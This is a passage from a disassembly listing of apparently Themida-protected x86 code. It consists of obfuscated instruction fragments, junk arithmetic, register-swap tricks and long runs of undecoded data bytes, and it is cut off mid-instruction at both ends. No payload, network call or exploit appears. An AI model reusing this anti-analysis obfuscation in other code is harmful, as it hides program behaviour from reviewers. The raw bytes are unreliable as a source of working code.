ebp jmp loc_543497 ; --------------------------------------------------------------------------- dd 976BE9B8h, 890D4004h, 25532502h, 0CFF7CF5h, 0F1F06205h dd 0E9C30139h, 3EFEh ; --------------------------------------------------------------------------- loc_549C10: ; CODE XREF: Themida_:0054BF15j shr ebp, 7 add ebp, 7F2121Bh shl ebp, 6 xor ebp, 185F3E81h mov ecx, ebp pop ebp and eax, ecx mov ecx, [esp] push esi mov esi, esp push ebp mov ebp, 68E31401h shr ebp, 2 shl ebp, 6 shr ebp, 2 push edx mov edx, 238C5004h xor ebp, edx mov edx, [esp] jmp loc_54A66D ; --------------------------------------------------------------------------- dd 1E0ED6B8h, 58C5294Eh, 0FFDC92E9h, 0C1015BFFh, 4F46E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C62: ; CODE XREF: Themida_:0054438Cj pop dword ptr [edi+20h] push 7E40h mov [esp], eax push ebx mov ebx, 13681711h mov eax, 13681731h xor eax, ebx jmp loc_54C69C ; --------------------------------------------------------------------------- db 57h dd 7D1F58BFh, 3FF7816Ch, 810CB717h, 4405CC7h, 5FF829E1h dd 0DDF7CD2Dh, 8BC701D7h, 0C4832404h, 4C78304h, 31243C33h dd 3C33243Ch, 24248B24h, 0A58E9h, 34335D00h, 24343124h dd 0E9243433h, 5287h, 0CCC3805Ah, 5066CBFEh, 0C3008DB0h dd 0DA885866h, 0E9241C8Bh, 1806h ; --------------------------------------------------------------------------- loc_549CDC: ; CODE XREF: Themida_:00543BBDj push edx mov dh, 0A6h xor ah, dh pop edx mov bh, ah jmp loc_5447B7 ; --------------------------------------------------------------------------- align 2 dw 66EAh dd 66FA2859h, 2BE9E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CF6: ; CODE XREF: Themida_:0054D0FCj xchg ecx, edx not ecx jmp loc_54AFE7 ; --------------------------------------------------------------------------- aBNtrs db 'Nr+',0 align 2 loc_549D0A: ; CODE XREF: Themida_:00544C2Bj pop ebp jmp loc_547EF2 ; --------------------------------------------------------------------------- dd 83240C8Bh, 0EB8004C4h, 0E9C328C6h, 0FFFFCC9Ah, 47B3535Ah dd 8029C380h, 0C0E930F3h, 0BE000015h, 51223CDh, 483468h dd 97C8E900h, 0E950FFFFh, 0FFFFEFD9h, 8158C631h, 3632CEEh dd 0F3C68115h, 52A3EFEh, 0E7B4354h, 10B2E9h, 4B800h, 0C2010000h dd 24148758h, 8524248Bh, 0F2E99CC8h, 52FFFF93h, 4BAh, 5AD70100h dd 8B243C87h, 0E9F72424h, 143168h, 0A004E900h, 8142FFFFh dd 49699EE2h, 0E9EAD12Dh, 3783h, 5C241C87h, 0FF6DEE81h dd 0F289F7BDh, 5AD6015Eh, 8904EC83h, 2B9240Ch, 1000000h dd 343359CEh, 0BBABE924h, 1C8BFFFFh, 9754E924h, 0B951FFFFh dd 0F6924108h, 93E9CD29h, 66FFFFD8h, 0C6E9EE89h, 58000018h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx push ebp mov ebp, 2FE67941h mov edx, 2FE67945h xor edx, ebp jmp loc_54A885 ; --------------------------------------------------------------------------- dw 0CB81h dd 7FF63F2Eh, 5D33F381h, 45E9BD15h, 0FFFFFFD0h, 0BCE92434h dd 81FFFFCAh, 84735DEBh, 2434FF1Fh, 4C4835Ah, 73E9C329h dd 66FFFFB8h, 5E0EED05h, 92A2D66h, 0FFD366E9h, 53D831FFh dd 595026BBh, 8DEB8119h, 0F7600120h, 4BF0E9DBh, 0B8500000h dd 0C8D62D5h, 3B512540h, 0D8F73A0Fh, 962C9F05h, 0F36AE92Ah dd 0FF54FFFFh, 815A2434h, 4C4h, 4C28100h, 50000000h, 0FE76DDB8h dd 0E0D14841h, 514B4805h, 39043501h, 0C201854Eh, 24148758h dd 0E924248Bh, 0FFFF9DC6h, 88502CB7h, 0E9E288FCh, 47E0h dd 0E9241C87h, 0FFFFC2C2h, 0BAh, 4EC8300h, 89243C89h, 0E9F889D7h dd 534Dh, 5C243C87h, 83241C89h, 0C8904ECh, 0B924h, 0E9510000h dd 0FFFFCF68h, 5C241433h, 4BB53h, 0E9510000h, 54Fh, 0FEBDh dd 1C6F2100h, 0F160E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549EEE: ; CODE XREF: Themida_:0054B7ADj xor [esp], eax jmp loc_54DE8E ; --------------------------------------------------------------------------- loc_549EF6: ; CODE XREF: Themida_:0054CF28j jz loc_54AF9E push dword ptr [edi+1Ch] add dword ptr [esp], 2594151Eh pop ecx sub esp, 4 mov [esp], esi push edx push 75A0h mov [esp], esi jmp loc_54B1CF ; --------------------------------------------------------------------------- dw 2C89h dd 517CBD24h, 0E801794Ah, 83242C8Bh, 0D82904C4h, 4A517C2Dh dd 6E150579h, 0B9510127h, 509F370Bh, 0D6AC181h, 0BD55CA8Fh dd 4E527A51h, 0BE56h, 0AEE90000h, 8BFFFFB9h, 0C6E92424h dd 100004Ah, 9989E9C2h, 34FFFFFFh, 0E281E924h, 148BFFFFh dd 538AE924h, 39050000h, 219ECBDBh, 0D4E958C6h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F83: ; CODE XREF: Themida_:0054F0AFj pop ebx pop dword ptr [esp] jmp loc_54B645 ; --------------------------------------------------------------------------- dd 5701EB83h, 62CA3FBFh, 5FFB312Ch, 15C368h, 24048900h dd 0FFC1AFE9h, 51E589FFh, 4B9h, 0E9CD0100h, 0FFFFE932h dd 0D2C3E959h, 8525FFFFh, 0C112B82Ch, 0E95305E8h, 0FFFFB6F0h dd 148BD000h, 4C48124h, 30000000h, 3B0DE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549FDA: ; CODE XREF: Themida_:0054D60Cj pop esp mov [esp], eax sub esp, 4 mov [esp], ebp push dword ptr [esp] pop eax jmp loc_548B5E ; --------------------------------------------------------------------------- db 29h, 0D6h, 0E9h dd 18A1h, 5724348Bh, 51E9E789h, 5FFFFFDBh, 4315BD55h, 0EB01F179h dd 5BD8295Dh, 25D368h, 1C2BE900h, 0B7530000h, 0BFADE987h dd 0C381FFFFh, 21DB4C0Eh, 6B73BE56h, 0C68107CBh, 4D82C936h dd 815EF331h, 7CE922F3h, 5BDF3190h, 0E7C1D7F7h, 1C78306h dd 0E905EFC1h, 0FFFFB2CCh, 413D89BDh, 5DEE312Eh, 81DEF74Eh dd 78BBADF6h, 0B266E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A062: ; CODE XREF: Themida_:005448B9j inc ebx and ebx, 0A6A004Eh neg ebx add ebx, 3BF72E99h dec ebx add ebx, 42E2E321h add eax, ebx jmp loc_5449BB ; --------------------------------------------------------------------------- db 5Eh dd offset dword_4E0BD8+511h dd 12EE8000h, 2021EE80h, 0FC32E9F3h, 0F66FFFFh, 686602B6h dd 89661C19h, 0C2E92404h, 0F7FFFF90h, 0F2E952DAh, 81000035h dd 2E67D6C1h, 4E1C17Ch, 73CF181h, 0F181563Ch, 5FC6B6ADh dd 0AE9C829h, 53000029h, 0E92414F7h, 0FFFFFCF2h, 0FF9090E9h dd 81CA01FFh, 3E0CEAh, 0EA83594Dh, 24143302h, 33241431h dd 4DE92414h, 68000040h, 65D7h, 57240C89h, 0B951E789h dd 4, 0C8BCF01h, 4C48324h, 4EF81h, 3C870000h, 39A7E924h dd 0E9810000h, 0EDEBF204h, 4BB3EB81h, 0CB01260Ah, 4BB3C381h dd 0C8B260Ah, 4C48124h, 83000000h, 78E902C3h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A13B: ; CODE XREF: Themida_:0054F065j or edx, eax jmp loc_5469A1 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 83000000h, 48702C0h, 0F665C24h, 9C2404B3h dd 0FF9008E9h, 4C483FFh, 0E7E95355h, 8B00003Ch, 0CE92434h dd 0E9FFFFEFh, 0FFFF8FF1h, 3004C483h, 0C0B60FC3h, 818734FFh dd 73962404h, 48B0288h, 3F5EE924h, 0C890000h, 64426824h dd 0C890000h, 2474FF24h, 4BFAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A1A2: ; CODE XREF: Themida_:0054D56Fj mov edi, 69071A45h or edi, 53F041AAh push esi jmp loc_54A6CC ; --------------------------------------------------------------------------- db 57h dd 88148ABFh, 5FF80112h, 1758BD55h, 0ED81317Fh, 15C106BCh dd 8108E5C1h, 0E05123EDh, 5DE80161h, 0DD2DF801h, 2D5C304Ah dd 1288148Ah, 34FF088Bh, 89525824h, 4C281E2h, 50000000h dd 0FF9BADE9h, 0CA295FFFh, 74FF5259h, 4DE90424h, 0B800000Bh dd 4, 0C2E9C201h, 0BE000039h, 6DC25CFEh, 4B92EE81h, 0EE812A9Dh dd 22681168h, 43CFE946h, 0E2C10000h, 0CFC28104h, 817F6E20h dd 0B18583C2h, 2EBB5362h, 2947AD03h, 0D0015BD8h, 0AD032E05h dd 55505A47h, 0FFEA08E9h, 2BAFFh, 0D0290000h, 2404335Ah dd 33240431h, 248B2404h, 14896624h, 4744E924h, 0ABBF0000h dd 313D7D10h, 0F100E9FDh, 0EB81FFFFh, 6FBB3CECh, 0C381D329h dd 6FBB3CECh, 0FF9B98E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A289: ; CODE XREF: Themida_:0054DE89j sub esi, 74AD735Fh add esi, edx add esi, 74AD735Fh sub esi, 41BE2416h pop edx jmp loc_54C6CC ; --------------------------------------------------------------------------- db 8Fh dd 4832404h, 0E5E90424h, 8100004Eh, 28BFB2F1h, 50F4E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A2BA: ; CODE XREF: Themida_:00545452j xor edi, 4C1A0118h add ebx, edi mov edi, [esp] add esp, 4 add ebx, 4 xchg ebx, [esp] jmp loc_54DF7F ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 0E9000000h, 0FFFF9B53h, 81240C8Bh, 4C4h, 0DAB4E900h dd 0F700FFFFh, 0CFFE5A66h, 0B7535066h, 5BF888ABh, 5866C700h dd 1C8BF828h, 4C48324h, 5250C330h, 0FFBA68E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A315: ; CODE XREF: Themida_:0054538Dj add ecx, edi mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_54EA2E ; --------------------------------------------------------------------------- db 0BBh, 0D2h, 72h dd 77E91670h, 66000020h, 661AC168h, 661B8B68h, 66242489h dd 2240481h, 48F6600h, 2EC8124h, 66000000h, 66240C89h dd 0D9BF6657h, 0C781666Bh, 506651A0h, 4289B866h, 66C70166h dd 0E9576658h, 0A8Ah, 9E95153h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A373: ; CODE XREF: Themida_:005440F7j mov [esp], edx jmp loc_54C48A ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 81000000h, 4C2h, 24143300h, 33241431h, 565C2414h dd 1229E954h, 0F7520000h, 148B2414h, 0E7895724h, 4C781h dd 0C7810000h, 4, 5C243C87h, 0FFABB5E9h, 0EBBD55FFh, 0C10B232Dh dd 0ED8102E5h, 1B217241h, 1F44CD81h, 0F581408Dh, 4A713FA3h dd 0E95DEF09h, 0FFFFC4B5h ; --------------------------------------------------------------------------- loc_54A3DC: ; CODE XREF: Themida_:005497CDj add esp, 4 add esp, 4 mov esi, [esp] add esp, 4 jmp loc_5469CA ; --------------------------------------------------------------------------- loc_54A3F3: ; CODE XREF: Themida_:0054DAA9j xchg dh, bl xor dh, bh xor bh, dh xor dh, bh push dx mov dh, bh not dh mov bh, dh pop dx xchg bh, dh xchg dh, bl inc bl jmp loc_545CD8 ; --------------------------------------------------------------------------- loc_54A410: ; CODE XREF: Themida_:00547766j mov ebp, ecx pop ecx jmp loc_54A5C2 ; --------------------------------------------------------------------------- dd 5C242C87h, 0BA241489h, 67207801h, 77FDEA81h, 0ADE96720h dd 0B9FFFFDCh, 6C897C42h, 2572E941h, 26E90000h, 8BFFFF8Dh dd 0B2E9241Ch, 0FFFFFF8Eh, 34FF2434h, 240C8B24h, 5104C483h dd 0C181E189h, 4, 4C181h, 60E90000h, 8BFFFFD0h, 18E92404h dd 8BFFFFC3h, 89572414h, 0A1E1E9E7h, 0E3C0FFFFh, 0C8DBE906h dd 0EC81FFFFh, 4, 83240489h, 646804ECh, 0E900001Ah, 0FFFFB154h dd 791BF7BDh, 58C53158h, 4183E9h, 4EC8100h, 89000000h dd 0E389241Ch, 4C381h, 0BA520000h, 20FB6B33h, 0FFD2C1E9h dd 243489FFh, 231963BEh, 76E94E0Dh, 81FFFFA8h, 7B452434h dd 44E914E3h, 6800003Bh, 387712A4h, 0C1DBF75Bh, 0E3C103EBh dd 6EBC105h, 13E95143h, 6800003Ch, 57FC3080h, 685Ah, 2C810000h dd 8D22EC24h, 2414293Eh, 0FF980BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A50D: ; CODE XREF: Themida_:00545B97j mov edx, 1C282CABh jmp loc_543DD5 ; --------------------------------------------------------------------------- loc_54A517: ; CODE XREF: Themida_:005496FFj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 7C2Dh mov [esp], ecx push ebx mov ebx, 5B8F2569h or ebx, 65097192h and ebx, 223812A5h push 7C67h mov [esp], edx jmp loc_54B6F4 ; --------------------------------------------------------------------------- dw 815Dh dd 574191F6h, 3DE68118h, 52068F54h, 4E7839BAh, 49C28152h dd 297CF626h, 0BDE95AD6h, 8BFFFFEAh, 89502424h, 405E0h dd 0C0830000h, 24048704h, 2434FF5Ch, 0FFF882E9h, 78C281FFh dd 815F8304h, 9241DAEAh, 0E9D301C5h, 0FFFFCD21h, 0CD4704BDh dd 58C58132h, 8109FB45h, 0BD9EEFC5h, 5DEB0130h, 2BC0E9h dd 0E9FC8800h, 3F00h, 2E6ADEB9h, 45F1E968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5C2: ; CODE XREF: Themida_:0054A413j sub [edi+24h], ebp jmp loc_54D326 ; --------------------------------------------------------------------------- dw 0E941h dd 0FFFFCBD8h, 2684C181h, 0CE013F6Eh, 83240C8Bh, 0BA5204C4h dd 2, 0FF9269E9h, 4C483FFh, 4C781h, 0EF810000h, 4, 31243C33h dd 3C33243Ch, 4895C24h, 48B5424h, 4C48124h, 5000000h, 4 dd 0FFD5FCE9h, 2434FFFFh, 0FF9F35E9h, 4C481FFh, 8F000000h dd 0AEE92404h, 1FFFFC9h, 17A605D0h, 0D0E971A2h, 66000030h dd 0E924048Bh, 0FFFF8EEEh, 0EF03A2BDh, 41F5814Eh, 293B2C23h dd 242C8BE8h, 3504C483h, 8D1CEF60h, 5DADC681h, 0FE9066Ch db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A667: ; CODE XREF: Themida_:0054ADA3j pop ecx jmp loc_544902 ; --------------------------------------------------------------------------- loc_54A66D: ; CODE XREF: Themida_:00549C47j add esp, 4 add esi, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 0FDC36A4h and ecx, 2956069Eh jmp loc_546499 ; --------------------------------------------------------------------------- db 5Bh dd 2EC81h, 89660000h, 3AB1240Ch, 0FFEF6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A6A1: ; CODE XREF: Themida_:0054422Aj mov ecx, [esp] add esp, 4 shr eax, 0Eh jmp loc_54E305 ; --------------------------------------------------------------------------- aI4Ics db '4$#',0 db 0 ; --------------------------------------------------------------------------- loc_54A6B9: ; CODE XREF: Themida_:00546621j pop ebp xchg ebx, [esp] pop esp pop eax push edx push eax push edi mov edi, 4EB21930h jmp loc_54CB9B ; --------------------------------------------------------------------------- loc_54A6CC: ; CODE XREF: Themida_:0054A1AEj mov esi, 5243D6Bh sub edi, esi mov esi, [esp] add esp, 4 jmp loc_5440E9 ; --------------------------------------------------------------------------- loc_54A6E1: ; CODE XREF: Themida_:005455CDj push eax mov eax, 4 add esi, eax jmp loc_54AAB5 ; --------------------------------------------------------------------------- dw 3C87h dd 2C895C24h, 4BD24h, 0EDE90000h, 52000030h, 0D789DA89h dd 2434FF5Ah, 3BE6E9h, 4A30F00h, 4EE99C24h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A717: ; CODE XREF: Themida_:00544F60j mov [esp], ebx push edi mov edi, 7FF5089Ch jmp loc_544D77 ; --------------------------------------------------------------------------- loc_54A725: ; CODE XREF: Themida_:00547C10j shl edx, 1 push ebx push 7AB5h push esp pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax pop eax jmp loc_545997 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 58000000h, 26FFE9h, 4C48100h, 68000000h, 2455h, 0BF243C89h dd 43D334A7h, 7036F781h, 0F7816E0Dh, 3255233Bh, 3C8BF929h dd 409DE924h, 0C6810000h, 4, 4C681h, 34870000h, 0CFF5C24h dd 0D6E99C24h, 8AFFFF89h, 8802247Ch, 66022444h, 0FD885158h dd 8852D5F6h, 5AD788EAh, 8B2434FFh, 0C483240Ch, 0E7895704h dd 4C781h, 0B8500000h, 2DB97FF9h, 19C8E9h, 1CD8BA00h, 0E2C12CA1h dd 0AB0BE904h, 0BF57FFFFh, 42FC2E42h, 0E95FF989h, 0FFFFD240h dd 0C281DAF7h, 0B1ACAA6Eh, 5AA0C181h, 1E93BF9h, 0FFFFFFD8h dd 0A4E92434h, 0E900000Ch, 0FFFF8969h, 12B7BA52h, 0D2E92B7Fh dd 0BDFFFFA2h, 6D6C2578h, 665ACD81h, 0F5812DF1h, 16135755h dd 4711EE81h, 0EE2937A1h, 4711C681h, 1FE937A1h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A82B: ; CODE XREF: Themida_:0054C6C7j mov ebx, [esp] add esp, 4 pop eax jmp loc_545CC0 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48702C0h, 966EE924h, 5A5EFFFFh, 3A7DF281h dd 0D7893179h, 0B015E95Ah, 30ACFFFFh, 0E2B353D8h, 0C04AF380h dd 0B05008E3h, 2F99E936h, 0EC810000h, 4, 0B9240C89h, 3AB71627h dd 4244C29h, 45DDE9h db 0 ; --------------------------------------------------------------------------- loc_54A885: ; CODE XREF: Themida_:00549DF1j pop ebp jmp loc_54BFA4 ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 0FFFF88D1h, 89242C89h, 4C581E5h, 52000000h dd 4BAh, 5AD50100h, 0FFCEC7E9h, 243489FFh, 5AE9E689h, 8B00003Bh dd 0C4832414h, 0BE565004h, 53A01A6Dh, 51662AB8h, 5EF029C2h dd 3196E9h db 0 ; --------------------------------------------------------------------------- loc_54A8D1: ; CODE XREF: Themida_:00545B7Aj xor dword ptr [esp], 280915CCh pop edi xor edi, 280915CCh pop ebx add ebp, 81910C4h jmp loc_543A49 ; --------------------------------------------------------------------------- loc_54A8EB: ; CODE XREF: Themida_:00546F21j not dword ptr [esp] mov ebp, [esp] add esp, 4 xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_5493E4 ; --------------------------------------------------------------------------- db 0BBh, 27h, 60h dd 0EBC15A8Ch, 1685105h, 0E9FD2B9Dh, 22Eh, 7EB951ADh, 494BF674h dd 6BC0B850h, 0D0F731D1h, 0DF044C25h, 68D0F70Dh, 151Ch dd 0FFC462E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A939: ; CODE XREF: Themida_:00549A7Ej mov eax, 67A6183Ch neg eax neg eax add eax, 0D0C44E0Ch jmp loc_54DBE7 ; --------------------------------------------------------------------------- dd 5204C483h, 0D689FA89h, 0FFED35E9h, 24248BFFh, 89242C89h dd 0A191E9E5h, 0D3F6FFFFh, 0FF93F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A96D: ; CODE XREF: Themida_:00545DB6j sub esp, 4 mov [esp], ebp jmp loc_5448F1 ; --------------------------------------------------------------------------- a13S db '1<$3<$',0 dw 0Bh dw 6800h dd 7F43h, 68242C89h, 481Bh, 68243C89h, 50C55FABh, 0E947475Fh dd 2037h, 6AE468h, 240C8900h, 5655E189h, 4BEh, 5EF58900h dd 5B62C181h, 0C1816ACAh, 68876C31h, 0F3E9E901h, 51FFFFEFh dd 300E9h, 1C875C00h, 24248B24h, 0FF878CE9h, 240C33FFh dd 1F8BE9h, 0E9536600h, 0FFFFBE47h ; --------------------------------------------------------------------------- loc_54A9E8: ; CODE XREF: Themida_:0054C061j mov esi, 61434685h neg esi not esi push edi mov edi, 1CA472C5h jmp loc_543456 ; --------------------------------------------------------------------------- dd 0FFC0B60Fh, 5EE98734h, 89FFFF87h, 405E0h, 4050000h dd 87000000h, 4D5C2404h, 46F2C581h, 0EF314D2Ah, 0FFF8215Dh dd 815F2434h, 4C4h, 8E8C100h, 9668C831h, 0E9000026h, 16EFh dd 66F03058h, 5324148Bh, 0C3815B54h, 4, 941E9h, 24048100h dd 4, 8124048Bh, 4C4h, 40500h, 2050000h, 87000000h, 248B2404h dd 48B6624h, 0CE95224h, 88000039h, 0AFE953FDh, 89000044h dd 0EC81242Ch, 4, 0E9242489h, 0FFFFB91Bh, 0BE243489h, 549B0C2Ah dd 0D5E9F029h, 66FFFFAFh, 2096B353h, 1C8B66DDh, 2C48324h dd 0FFC7A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AAB5: ; CODE XREF: Themida_:0054A6E9j pop eax sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_54C609 ; --------------------------------------------------------------------------- loc_54AAC9: ; CODE XREF: Themida_:00546645j add eax, 296370CCh sub eax, ecx sub eax, 296370CCh push dword ptr [esp] pop ecx jmp loc_54BCCE ; --------------------------------------------------------------------------- loc_54AADE: ; CODE XREF: Themida_:0054C3A1j add edx, 630A5DE4h add edx, 6E5A39DDh jmp loc_543165 ; --------------------------------------------------------------------------- db 56h dd 160268h, 8C15E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AAFA: ; CODE XREF: Themida_:00547C56j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx jmp loc_547A33 ; --------------------------------------------------------------------------- dw 8950h dd 8BC389C8h, 89532404h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 240C8B5Ch, 3730E9h, 3C15BA00h, 48E977E1h, 8F000024h dd 861FE902h, 159FFFFh, 0D80159CBh, 0B770E95Bh, 0F368FFFFh dd 8900005Fh, 0F4E92434h, 5FFFFFCEh, 0FF9F1EE9h, 696268FFh dd 815A50CFh, 39426AE2h, 66F2812Ah, 89000940h, 0D982E9D6h dd 0C281FFFFh, 4, 4C281h, 0A9E90000h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB8F: ; CODE XREF: Themida_:005469A5j mov eax, esp push ecx mov ecx, 4 add eax, 19733968h jmp loc_544346 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 8124048Bh, 4C4h, 24348B00h, 0E904C483h, 1BBh, 4BD55h dd 0E9010000h, 0B850565Dh, 598C6918h, 4658C689h, 0D101C683h dd 4E953E6h, 55FFFFF9h, 456C4FBDh, 14BB5327h, 0E928CE1Ah dd 0FFFF8DECh ; --------------------------------------------------------------------------- loc_54ABE8: ; CODE XREF: Themida_:00547F7Cj mov [esp], eax mov eax, 24h push ecx jmp loc_549A38 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFC41Eh, 9FE9CB29h, 0BD00000Fh, 751E4D0Eh, 0FFCF6BE9h dd 534DBDFFh, 0E5C12FE5h, 0F8C58107h, 292FF0AAh, 242C8BEAh dd 0E904C483h, 3049h, 0E9243C8Bh, 0FFFF95C1h, 3C8BF801h dd 4C48124h, 87000000h, 665C2404h, 9C240409h, 0E94E9h dd 245C0100h, 246C8104h, 6974ED04h, 241C8B28h, 5E04C483h dd 3ACD68h, 243C8900h, 18F0E952h, 0F6E90000h, 0B2FFFF84h dd 0FF80E9EDh, 8B66FFFFh, 4468240Ch, 89000033h, 58542404h dd 707E68h, 243C8900h, 302BB0BFh, 4E7C116h, 0FFA2DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AC99: ; CODE XREF: Themida_:00544868j mov [esp], ecx mov ecx, 0DC0963DAh xor ebp, ecx mov ecx, [esp] jmp loc_54675E ; --------------------------------------------------------------------------- db 56h dd 1BF68h, 24048900h, 0E7A90B8h, 58C6894Ah, 1EE81h, 0B9510000h dd 64AB4687h, 0FFC4E9E9h, 2414F6FFh, 0FFD66EE9h, 0F7F781FFh dd 53008F76h, 1D301BBBh, 5BDF212Ch, 0DC7BA52h, 0DAF74C1Ah dd 175CC281h, 0D7290C42h, 0F71E95Ah, 148B0000h, 4E95024h dd 33FFFFFDh, 34312434h, 24343324h, 0A30F665Ch, 0E99C2404h dd 0FFFF844Dh, 8904EC83h, 0F3E92424h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, esp sub esp, 4 jmp loc_54B132 ; --------------------------------------------------------------------------- loc_54AD43: ; CODE XREF: Themida_:0054BD81j not dword ptr [esp] jmp loc_54775F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8415h, 0B7B3E95Ah, 0C501FFFFh, 242C8758h, 0FFF80AE9h dd 40558FFh, 55000000h, 65CE6856h, 56E94C09h, 81FFFFCFh dd 4ECh, 0E73EE900h, 15DFFFFh, 0D1015FFAh, 0FFF1E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AD89: ; CODE XREF: Themida_:0054C294j xor eax, 1CF223B5h jmp loc_54AE9D ; --------------------------------------------------------------------------- aBB db '',0Dh,'b',0 dd 83C7E937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD9E: ; CODE XREF: Themida_:005487E7j xor ch, 4Ah sub al, ch jmp loc_54A667 ; --------------------------------------------------------------------------- dd 5B2434FFh, 4C481h, 0E9570000h, 0FFFFDDE3h ; --------------------------------------------------------------------------- loc_54ADB8: ; CODE XREF: Themida_:005462EFj mov eax, 22B136A6h shl eax, 2 shr eax, 1 dec eax shr eax, 6 xor eax, 7DEAF0CCh mov edi, eax pop eax xor edi, 21FB53D0h jmp loc_54CA97 ; --------------------------------------------------------------------------- loc_54ADD9: ; CODE XREF: Themida_:005455BFj add esp, 4 jmp loc_54C287 ; --------------------------------------------------------------------------- db 24h, 96h, 0F6h dd 2CAA2CD8h, 0C460E9E4h, 0E2C0FFFFh, 0EB9FE906h, 8166FFFFh dd 1C7B2404h, 0FFBD2CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AE01: ; CODE XREF: Themida_:00543C9Ej xor ebx, 0C84E45h or eax, ebx pop ebx jmp loc_548E77 ; --------------------------------------------------------------------------- db 29h dd 43542DF0h, 2D5E0E7Bh, 1AC74752h, 0E924348Bh, 45F4h dd 73F968h, 243C8900h, 942C5EBFh, 0F7814F36h, 768F612Ah dd 0FFDE22E9h, 34FF5CFFh, 240C8B24h, 8104C483h, 4ECh, 7B8E900h dd 0EA200000h, 0E9506659h, 8B8h, 89243489h, 4C681E6h, 83000000h dd 6EE904C6h, 8900003Dh, 0CFF241Ch, 2414F724h, 21F3815Bh dd 0E97DF674h, 248Ah, 0E952F101h, 0FFFFE7EDh ; --------------------------------------------------------------------------- loc_54AE8C: ; CODE XREF: Themida_:0054C57Aj push ebp push dword ptr [esp+4] pop ebp jmp loc_54F06A ; --------------------------------------------------------------------------- aYs6 db 'Y-6',0 db 0 ; --------------------------------------------------------------------------- loc_54AE9D: ; CODE XREF: Themida_:0054AD8Ej inc eax add eax, 0E80FE44Eh jmp loc_5448C5 ; --------------------------------------------------------------------------- dd 52BB535Dh, 0E914025Fh, 4374h, 840FC909h, 0FFFFAB5Bh dd 299168h, 48F5400h, 42EA6824h, 1C890000h, 1A685024h dd 89000041h, 0E9522434h, 0FFFFFC89h ; --------------------------------------------------------------------------- loc_54AEDC: ; CODE XREF: Themida_:0054C886j push 3C47h mov [esp], ebp mov ebp, 197733FEh sub ebp, 0BE8ADE43h jmp loc_54B098 ; --------------------------------------------------------------------------- loc_54AEF4: ; CODE XREF: Themida_:0054DCB8j pop ecx add al, 0F1h sub al, bl jmp loc_54E368 ; --------------------------------------------------------------------------- aS1HH db '',0Ah db '1h',0Dh,'h',0 align 4 dd 0E9240489h, 0FFFFBBCEh, 5604C483h, 42474FFh, 24048F5Eh dd 0D224248Bh, 0E99C242Ch, 0FFFF823Dh, 240C8B66h, 0C1DDE957h dd 1C8BFFFFh, 70DB6824h, 34890000h, 81E68924h, 4C6h, 4C68100h dd 87000000h, 525C2434h, 0FFBB5AE9h, 4C483FFh, 0E9243C33h dd 0FFFFFA18h ; --------------------------------------------------------------------------- loc_54AF60: ; CODE XREF: Themida_:00548D85j sub ebx, 4C465E7Fh inc ebx add ebx, 1396342Fh add edx, ebx pop ebx push esi push 22CCh mov [esp], edx mov edx, 6B965307h or edx, 9824854h neg edx sub edx, 9469A4A5h mov esi, edx pop edx add edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp loc_54AF9E: ; CODE XREF: Themida_:loc_549EF6j push 4A27h mov [esp], ebx sub esp, 4 mov [esp], ecx push edi mov edi, 5AEC55BBh mov ecx, edi pop edi jmp loc_54C872 ; --------------------------------------------------------------------------- dw 0E952h dd 1440h ; --------------------------------------------------------------------------- loc_54AFC0: ; CODE XREF: Themida_:0054D567j push eax mov eax, 0CD67B60h dec eax and eax, 433D56A1h and eax, 698E062Fh jmp loc_545DBB ; --------------------------------------------------------------------------- dw 6659h dd 2414F650h, 0C2C5866h, 0CAE9C188h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AFE7: ; CODE XREF: Themida_:00549CFAj xchg ecx, edx not edx and edx, 4AFE1ACAh jmp 